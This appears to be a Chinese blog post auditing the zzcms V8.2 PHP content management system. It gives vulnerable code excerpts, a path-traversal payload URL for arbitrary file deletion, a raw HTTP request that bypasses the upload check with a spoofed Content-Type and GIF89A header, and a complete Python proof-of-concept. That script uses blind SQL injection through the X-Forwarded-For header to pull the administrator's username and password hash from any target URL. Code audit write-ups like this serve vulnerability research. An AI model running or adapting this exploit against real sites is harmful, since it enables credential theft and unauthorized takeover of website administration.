本文作者:daomeng QQ:940541273 投稿于 CE安全网
【含漏洞/POC:后台任意文件删除、文件上传、上传注入、http xorIP注入】
前言:
看着基佬0x584A 天天审计玩的 那么(。・∀・)ノ゙嗨
本菜鸟当然也是不服的了,于是开启了 某CMS 审计之路了
本菜鸟没有0x58Aa 那么耐心,还整个cms 一个个文件去看
说实话 我内心还是蛮佩服他的2333..
代码审计过程:
install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zs 招商程序文件
/dl 代理
/zh 展会
/company 企业
/job 招聘
/zx 资讯
/special专题
/pp 品牌
/wangkan 网刊
/ask 问答
/zt 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq登录接口文件
/3/ucenter_api discuz论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信API
/3/phpexcelreader PHP读取excel文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/dl_excel 要导入的代理信息excel表格文件上传目录
/image 程序设计图片,swf文件存放目录
/flash 展厅用透明flash装饰动画存放目录
/js js文件存放目录
/html 静态页存放目录
/favicon.ico 地址栏左侧小图标文件
/web.config 伪静态规则文件for iis7(万网比较常用)
/httpd.ini 伪静态规则文件for iss6
/.htaccess 伪静态规则文件for apache
Inc/fuction.php 全局函数文件
Inc/config.php 常量配置文件
Inc/conn.php 数据库连接配置文件
更多的你们自己去看 把!!
当然,也有几款更可以的审计工具 我是用习惯这款了
文件路径:admin/dl_data.php
Code:
关键代码:
if (isset($_REQUEST['action'])){
$action=$_REQUEST['action'];
}else{
$action="";
}
if ($action=="del") {
$fp="../dl_excel/".$_GET["filename"];
if (file_exists($fp)){
unlink($fp);
}else{
echo "<script>alert('ÇëÑ¡ÔñҪɾ³ýµÄ±êÇ©');history.back()</script>";
}
}
?>
我们发现 filename 参数我们是可以控的
虽然 限定了目录 ../dl_excel/ 但是我们 可以 ../来绕过
这个就不截图演示了,感觉没有必要 2333..
Payload: http://127.0.0.1/admin/dl_data.php?$action=del&filename=../456.txt
删除 根目录下的 456.txt 文件
/uplodimg.php
code:
- function upfile() {
- //是否存在文件
- if (!is_uploaded_file(@$this->fileName[tmp_name])){
- echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>"; exit;
- }
- //检查文件大小
- if ($this->max_file_size*1024 < $this->fileName["size"]){
- echo "<script>alert('文件大小超过了限制!最大只能上传 ".$this->max_file_size." K的文件');parent.window.close();</script>";exit;
- }
- //检查文件类型//这种通过在文件头加GIF89A,可骗过
- if (!in_array($this->fileName["type"], $this->uptypes)) {
- echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>";exit;
- }
- //检查文件后缀
- $hzm=strtolower(substr($this->fileName["name"],strpos($this->fileName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
- if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false ||strpos($hzm,"jsp")!==false){
- echo "<script>alert('".$hzm.",这种文件不允许上传');parent.window.close();</script>";exit;
- }
- //创建文件目录
- if (!file_exists($this->fdir)) {mkdir($this->fdir,0777,true);}
- //上传文件
- $tempName = $this->fileName["tmp_name"];
- $fType = pathinfo($this->fileName["name"]);
- $fType = $fType["extension"];
- $newName =$this->fdir.$this->datu;
- $sImgName =$this->fdir.str_replace('.','_small.',$this->datu);
- //echo $newName;
- if (!move_uploaded_file($tempName, $newName)) {
- echo "<script>alert('移动文件出错');parent.window.close();</script>"; exit;
- }else{
- //检查图片属性,不是这几种类型的就不是图片文件,只能上传后才能获取到,代码放到上传前获取不到图片属性,所以放在这里
- $data=GetImageSize($newName);//取得GIF、JPEG、PNG或SWF图片属性,返回数组,图形的宽度[0],图形的高度[1],文件类型[2]
- if($data[2]!=1 && $data[2]!=2 && $data[2]!=3 && $data[2]!=6){//4为swf格式
- unlink($newName);
- echo "<script>alert('经判断上传的文件不是图片文件,已删除。');parent.window.close();</script>";exit;
- }
- ……………………多于代码
- $filename = array();
- for ($i = 0; $i < count($_FILES['g_fu_image']['name']); $i++){
- $filename[$i]['name']=$_FILES['g_fu_image']['name'][$i];
- $filename[$i]['type']=$_FILES['g_fu_image']['type'][$i];
- $filename[$i]['tmp_name']=$_FILES['g_fu_image']['tmp_name'][$i];
- $filename[$i]['error']=$_FILES['g_fu_image']['error'][$i];
- $filename[$i]['size']=$_FILES['g_fu_image']['size'][$i];
- }
- for ($i = 0; $i < count($filename); $i++){
- $filetype=strtolower(strrchr($filename[$i]['name'],"."));//图片的类型,统一转为小写
- $up = new upload();
- $up->fileName = $filename[$i];
- $up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径
- $up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
- $up->upfile(); //上传
- $bigimg=$up->fdir.$up->datu; //返回的大图文件名
从代码if (!in_array($this->fileName["type"], $this->uptypes))
这里可以看到验证了 文件类型
代码:if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false
||strpos($hzm,"jsp")!==false){
这里可以看到黑名单验证文件后缀
$up->fdir='uploadfiles/'.date("Y-m").'/'; //上传的路径
利用时间生成的路径
$up->datu=date("YmdHis").rand(100,999).$filetype;//大图的命名
利用时间生成的文件名
最后打印出 返回的大图文件
调用此处 文件
/uploadimg_form.php
验证是否有登录
Code:
POST /uploadimg.php HTTP/1.1
Host: 192.168.0.147
Content-Length: 258119
Cache-Control: max-age=0
Origin: http://192.168.0.147
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2KeBr7u8Qwj0s8sK
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.0.147/uploadimg_form.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518336849908; PHPSESSID=4unsh3vi9kfjqp83mea0lolvl3; UserName=daomeng; PassWord=e10adc3949ba59abbe56e057f20f883e
Connection: close
------WebKitFormBoundary2KeBr7u8Qwj0s8sK
Content-Disposition: form-data; name="g_fu_image[]"; filename="img1.jpg"
Content-Type: image/jpeg
GIF89A
text
------WebKitFormBoundary2KeBr7u8Qwj0s8sK
Content-Disposition: form-data; name="Submit"
æäº¤
------WebKitFormBoundary2KeBr7u8Qwj0s8sK
Content-Disposition: form-data; name="noshuiyin"
------WebKitFormBoundary2KeBr7u8Qwj0s8sK
Content-Disposition: form-data; name="imgid"
------WebKitFormBoundary2KeBr7u8Qwj0s8sK--
利用 Content-Type: image/jpeg 来绕过文件类型
利用内容 GIF89A 骗过缩成小图的 图片 验证
最后 我们 php4 这样都不可以上传(各种fuzz 也饶不过)
只能上传 txt,html,jpg其他无危害的任意格式
接着看看有没有注入的地方
/reg/ sendmailagain.php
这是一处通过邮箱激活用户帐号的地方
- <?php
- include("../inc/top2.php");
- echo sitetop();
- ?>
- <div class="pagebody" style="text-align:center;height:300px">
- <?php
- $username=trim($_POST["username"]);
- echo $username."<br/>";
- $email=trim($_POST["newemail"]);
- $emailsite="http://mail.".substr($email,strpos($email,"@")+1);
- $sql="select * from zzcms_usernoreg where username='".$username."'";
- $rs=query($sql);
- $row=num_rows($rs);
我们发现 $username参数 通过 post 传进来 根本没有任何的过滤
于是 我就想。。。是不是 可以 XX00了
结果尼玛不行 试着打印 sql 语句
发现他自己过滤单引号,我一向除非宽字节注入 不然没戏了
于是我在去看看有没有数字型注入:
code:
Code:
if ($action=="pass"){
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
$id=$_POST['id'][$i];
checkid($id);
$sql="select passed from zzcms_guestbook where id ='$id'";
$rs = query($sql);
$row = fetch_array($rs);
if ($row['passed']=='0'){
query("update zzcms_guestbook set passed=1 where id ='$id'");
}else{
query("update zzcms_guestbook set passed=0 where id ='$id'");
}
}
}else{
echo "<script>alert('²Ù×÷ʧ°Ü£¡ÖÁÉÙҪѡÖÐÒ»ÌõÐÅÏ¢¡£');history.back()</script>";
checkid($id);
我们看到 id 被 chekid()函数进行处理了一下 我们跟踪 checkid函数
Code:
Inc/function.php
function checkid($id,$classid=0,$msg=''){
if ($id<>''){
if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!相关信息不存在');}
elseif ($id>100000000){showmsg ('参数超出了数字表示范围!系统不与处理。');}//因为clng最大长度为9位
if ($classid==0){//
if ($id<1){showmsg ('参数有误!相关信息不存在。\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
}
}
}
if (is_numeric($id)==false)
判断$id 是不是整型
($id>100000000)
判断ID参数长度是不是在9位数以内
我一看 还怎么玩 。。。
但是我觉得不应该灰心可以看看有没有 http头注入 以及 cookie 注入
还有 二次注入之类的
/label.php
- function zsshow($labelname,$classzm){
- global $siteskin,$province,$provincezm;//È¡Íⲿֵ£¬¹©ÑÝʾģ°å£¬ÊÖ»úÄ£°åÓÃ
- setcookie("province","xxx",1);//ËÑË÷Ò³µÄcookieÖµ»áÓ°Ïìµ½provinceµÄÖµ
- if (!$siteskin){$siteskin=siteskin;}
- if ($classzm!=''){$fpath=zzcmsroot."cache/".$siteskin."/zs/".$classzm."-".$labelname.".txt";
- }elseif($provincezm<>''){$fpath=zzcmsroot."cache/".$siteskin."/zs/".$provincezm."-".$labelname.".txt";
- }else{$fpath=zzcmsroot."cache/".$siteskin."/zs/".$labelname.".txt";}
- if (cache_update_time!=0 && file_exists($fpath)!==false && time()-filemtime($fpath)<3600*24*cache_update_time){
- return file_get_contents($fpath);
- }else{
- $fpath=zzcmsroot."/template/".$siteskin."/label/zsshow/".$labelname.".txt";
- if (file_exists($fpath)==true){
- if (filesize($fpath)<10){ showmsg(zzcmsroot."template/".$siteskin."/label/zsshow/".$labelname.".txt ÄÚÈÝΪ¿Õ");}//utf-8ÓÐÎļþÍ·£¬¿ÕÎļþ´óСΪ3×Ö½Ú
- $fcontent=file_get_contents($fpath);
- $f=explode("|||",$fcontent) ;
- $title=$f[0];$bigclassid =$f[1];$smallclassid = $f[2];
- if ($classzm <> "") {//²»Îª¿ÕµÄÇé¿öÊÇǶÌ×ÔÚzsclassÖÐʱ£¬½ÓÊյĴóÀàÖµ¡£
- $rs=query("select classid from zzcms_zsclass where classzm='".$classzm."'");
- $row=fetch_array($rs);
- if ($row){
- $bigclassid=$row["classid"];//ʹ´óÀàÖµµÈÓÚ½ÓÊÕµ½µÄÖµ
- }
- $smallclassid = 0; //ÒÔÏÂÓÐÌõ¼þÅжϣ¬´Ë´¦±ØÉèÖµ
- }
- $groupid =$f[3];$pic =$f[4];$flv =$f[5];$elite = $f[6];$numbers = $f[7];$orderby =$f[8];$titlenum = $f[9];$column = $f[10];$start =$f[11];$mids = $f[12];
- $mids = str_replace("show.php?id={#id}", "/zs/show.php?id={#id}",$mids);
- if (whtml == "Yes") {$mids = str_replace("/zs/show.php?id={#id}", "/zs/show-{#id}.htm",$mids);}
- $ends = $f[13];
- $sql = "select id,proname,bigclassid,prouse,shuxing_value,sendtime,img,flv,hit,city,editor from zzcms_main where passed=1 ";
- if ( $bigclassid <> 0) {$sql = $sql . " and bigclassid='" . $bigclassid . "'";}
- if ( $smallclassid <> 0) {$sql = $sql . " and smallclassid='" . $smallclassid . "'";}
- if ( $groupid <> 0) {$sql = $sql . " and groupid>=$groupid ";}
- if ( $pic == 1) {$sql = $sql . " and img is not null and img<>'/image/nopic.gif'";}
- if ( $flv == 1) {$sql = $sql . " and flv is not null and flv<>'' ";}
- if ( $elite == 1) {$sql = $sql . " and elite>0";}
- if ( $province != '') {$sql = $sql . " and province='$province'";}
- if ( $orderby == "hit") {$sql = $sql . " order by hit desc limit 0,$numbers ";
- }elseif ($orderby == "id") {$sql = $sql . " order by id desc limit 0,$numbers ";
- }elseif ($orderby == "sendtime") {$sql = $sql . " order by sendtime desc limit 0,$numbers ";
- }elseif ($orderby == "rand") {
- $sqln="select count(*) as total from zzcms_main where passed<>0 ";
- $rsn=query($sqln);
- $rown = fetch_array($rsn);
- $totlenum = $rown['total'];
- if (!$totlenum){
- $shuijishu=0;
- }else{
- $shuijishu=rand(1,$totlenum-$numbers);
- if ($shuijishu<0){$shuijishu=0;}
- }
- $sql = $sql . " limit $shuijishu,$numbers";
- }
- //echo $sql;
- $rs=query($sql);
我们发现 $labelname 可以控制
{$fpath=zzcmsroot."cache/".$siteskin."/zs/".$labelname.".txt";}
后缀 是txt 文件 我们可以利用 刚过那一处的上传 上传 txt文件
分别是打开 txt文件 利用 explode 函数进行 拆分成数组
把数组的值分配至以上三个变量
if ( $bigclassid <> 0) {$sql = $sql . " and bigclassid='" . $bigclassid . "'";}
判断 $bigclassid 参数不等于0的话 拼接以上 sql 语句
到这里继续拼接 然后直接执行 sql语句
文件上传txt文件
整个过程 还是比较麻烦的 所以 我自己就没有去实践了
Admin/logincheck.php
Code:
<?php
$admin=nostr(trim($_POST["admin"]));
$pass=trim($_POST["pass"]);
$pass=md5($pass);
$ip=getip();
//$ip ="127.0.0.1' and --";
define('trytimes',50);//可尝试登录次数
define('jgsj',15*60);//间隔时间,秒
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$rs = query($sql);
$row= num_rows($rs);
我们跟踪到 getip()函数
Code:
function getip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
我们发现 IP可以伪造
$sql="select * from zzcms_login_times where ip='$ip' and count>='".trytimes."' and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
并且 此处调用 $ip 到数据库去
为了先看看 有没有 过滤 我先利用 burpsuite 打印sql 语句
我们利用 X-Forwarded-For 来伪造ip 进行注入
并且没有任何的过滤 ,但是会强制 302跳转 只能盲注
我利用sqlmap 进行测试 结果发现不行
于是就自己 写了一份 poc
POC:
- #! /usr/bin/python
- # -*- coding: utf-8 -*-
- # date: 2018-02-08
- # zzcms V8.2 sql注入 arg:ip
- import requests
- import sys
- import time
- import itertools
- def urlFormat(url):
- if (not url.startswith("http://")) and (not url.startswith("https://")):
- url = "http://" + url
- if not url.endswith("/"):
- url = url + "/"
- return url
- #进行注入
- def fetch_data(vuln_page):
- #判断管理员数目
- for i in itertools.count(1):
- payload_1 = "1,1,1,-1' or substr((select count(*) from zzcms_admin),1)={} #".format(i)
- headers = {'X-Forwarded-For':payload_1}
- r1= requests.post(vuln_page,headers=headers)
- if len(r1.text.encode('utf-8')) > 400:
- print "------------"
- print "sum of manager:"+ str(i)
- print "trying fetch first manager's name and password......"
- for k in itertools.count(1):
- payload_2 = "1,1,1,-1' or length((select admin from zzcms_admin limit 0,1))={} #".format(k)
- headers = {'X-Forwarded-For':payload_2}
- r2 = requests.post(vuln_page,headers=headers)
- if len(r2.text.encode('utf-8')) > 400:
- print "length of manager's name:"+str(k)
- #打印用户名和密码
- fetch_manager(vuln_page,k)
- break
- break
- #打印管理员账户和密码
- def fetch_manager(vuln_page,num):
- payload = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_."
- username = ""
- password = ""
- for j in range(num):
- for l in payload:
- payload_3 = "1,1,1,-1' or ascii(substr((select admin from zzcms_admin limit 0,1),{},1))={} #".format(j+1,ord(l))
- headers = {'X-Forwarded-For':payload_3}
- try:
- r3 = requests.post(vuln_page,headers=headers)
- if len(r3.text.encode('utf-8')) > 400:
- username = username + l
- print 'username:'+'{0:*<{1}}'.format(username,num)
- break
- except:
- pass
- print "trying fuzz password ....."
- payload_test = "abcdefghigklmnopqrstuvwxyz0123456789"
- for j in range(32):
- #for l in payload:
- for l in payload_test:
- try:
- payload_4 = "1,1,1,-1' or ascii(substr((select pass from zzcms_admin limit 0,1),{},1))={} #".format(j+1,ord(l))
- headers = {'X-Forwarded-For':payload_4}
- r4 = requests.post(vuln_page,headers=headers)
- if len(r4.text.encode('utf-8')) > 400:
- password = password + l
- print 'password:' + '{0:*<32}'.format(password)
- break
- except:
- pass
- return None
- def is_vuln(vuln_page):
- payload = "1.1.1.-1' or sleep(5)#"
- headers = {'X-Forwarded-For':payload}
- try:
- start_time = time.time()
- r2 = requests.post(vuln_page,headers=headers)
- if time.time() - start_time > 4:
- return True
- else:
- return False
- except:
- pass
- def is_sql(url,retrynum = 3):
- vuln_page = url + 'admin/logincheck.php'
- try:
- response = requests.head(vuln_page)
- code = response.status_code
- if retrynum > 0:
- if code != 200:
- print "vuln_page is not Founded,trying again " + vuln_page
- return is_sql(url,retrynum-1)
- else:
- print "vuln_page:" + vuln_page +" was Founded,trying payload for attacking"
- print "-------------------------------------------"
- result = is_vuln(vuln_page)
- if result:
- print "Found SQL vulnerability,trying to print admin:pasword"
- fetch_data(vuln_page)
- else:
- print "Not Found SQL vulnerability"
- except Exception as e:
- print e
- return None
- def main():
- # 判断是否存在注入
- if len(sys.argv) != 2:
- print " Usage:"
- print " python sqlip.py [url] "
- print " Example:"
- print " python sqlip.py http://baidu.com"
- print " Author:"
- print " xq17 from mst"
- exit(1)
- url = urlFormat(sys.argv[1])
- is_sql(url)
- # vuln_page = url + 'admin/logincheck.php'
- # fetch_data(vuln_page)
- if __name__ == '__main__':
- main()
- print "=================================="
- print " worked !!!!!! "
- print "=================================="
poc 的测试结果如下图:
另一处 user/logincheck.php
代码细节内容基本一样 就不多的解释了
其实我们在审计的过程中,并不是为了一定要挖掘代码的漏洞,而是需要体会整个审计过程对我们今后写代码有哪些帮助,以及审计过程中的测试方法
作者: